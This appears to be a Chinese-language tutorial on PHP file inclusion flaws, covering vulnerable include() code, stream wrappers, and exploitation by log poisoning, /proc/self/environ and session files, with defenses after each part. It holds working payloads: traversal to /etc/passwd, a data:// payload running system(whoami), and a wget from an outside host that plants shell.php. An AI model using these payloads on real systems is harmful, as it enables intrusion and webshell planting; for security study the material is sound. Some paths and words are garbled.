文件包含漏洞
0x00 文件包含原理
文件包含
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含
文件包含漏洞
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞
0x01文件包含分类
本地文件包含
包含服务器本身存在的恶意文件
a.txt
<?php phpinfo();?>
b.php
<?php
$b=$_GET['id'];
include($b);
?>
payload:
localhost/b.php?id=a.txt //返回phpinfo页面
注:
两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)
被包含的页面的后缀无论是什么都会当做PHP解析
远程文件包含
包含其他网站上的恶意文件
远程文件包含利用条件:
在php.ini中allow_url_fopen=on、allow_url_include=on
payload:
localhost/b.php?id=http://ip/文件路径
注:
远程包含的文件路径必须是绝对路径
0x02 常用文件包含函数
PHP
include()
当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once()
功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次
requier()
使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
jsp/servlet
ava.io.file()
java.io.filereader()
ASP
include file
include virtual
0x03 各个协议实现命令执行
%00截断
是否需要截断是根据包含函数后有没有对包含的文件进行拼接一个后缀,
如果有就需要使用%00进行截断
当php版本<=5.2使用%00截断
file://:用于访问本地文件系统
条件(php.ini):
allow_url_fopen off/on
allow_url_include off/on
使用方法:file://[文件的绝对路径和文件名]
php://:访问各个输入输出流
php伪协议:
php://filter:用于读取源码并进行bash64编码输出;
条件(php.ini):
allow_url_fope off/on
allow_url_include off/on
php://input:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
条件(php.ini):
allow_url_fope off/on
allow_url_include on
php://stdin是只读的,php://stdout 和 php://stderr 是只写的。
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://fd 允许直接访问指定的文件描述符。
zip://,bzip://,zlib://:均属于压缩流,可以访问压缩文件中的子文件,不需要传后缀名
条件:
allow_url_fope off/on
allow_url_include off/on
zip://使用方法:
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
bzip2://使用方法:
bzip2://file.bz2
zlib://使用方法:
zlib://file.gz
data://
条件:
allow_url_fope on
allow_url_include on123
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/cmd.php?file=data://text/plain;base644,加密的php代码
phar://:数据流包装器
http:// 网址
ftp:// 访问FTP url
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glod:// 查找匹配的文件路径
0x04 文件包含利用场景
包含上传文件
用户上传了一个可执行文件,通过文件包含那个文件实现漏洞利用
防御:
做好上传限制
隐藏好文件路径
设置访问权限、执行权限
伪协议
php://input:
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
例:
http://localhost/include/file.php?file=php://input //URL
<?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?> //POST,创建一个文件a.php;并写入phpinfo
data://:
将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
例:
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令
http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter:
这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
例:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径
防御:
尽量使用安全版本的php
做好php的安全配置
对相应目录做相应权限设置
包含日志文件
1、日志的默认路径
/etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux
D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003
C:WINDOWSsystem32Logfiles //iis6.0+win2003
%SystemDrive%inetpublogsLogFiles //iis7.0+win2003
nginx 日志文件在用户安装目录的logs目录下
2、web中间件默认配置uoh文件
/etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux
C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003
C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win
3、利用
访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:
http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开)
4、防御
隐藏或修改默认日志文件
设置日志文件读取权限
包含/proc/self/environ
1、找文件包含漏洞
www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd
2、检查proc/self/environ是否可以访问
www.aaa.com/view.php?page=../../../../../proc/self/environ
3、如果可读就注入代码
访问:www.aaa.com/view.php?page=../../../../../proc/self/environ
选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.
4、访问shell
5、防御:
设置proc/self/environ不可访问
包含Session文件
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //读取session文件
0x05 常见的绕过与防御
%00截断(php<5.3.4)
说明:
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
防御:
禁用0字节
超长字符截断
利用:
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
而利用"./"的方式即可构造出超长目录字符串
防御:
限制用户输入字符长度
任意目录遍历
利用:
使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)
防御:
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)12345
问号截断
利用:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
防御:
关闭远程文件包含的配置选项allow_url_include = Off
0x06 防御总结
1、无需情况下设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
3、尽量不使用动态包含
4、严格检查变量是否已经初始化。
5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,
进行严格的检查,参数中不允许出现../之类的目录跳转符。
6、严格检查include类的文件包含函数中的参数是否外界可控。
7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
8、在发布应用程序之前测试所有已知的威胁。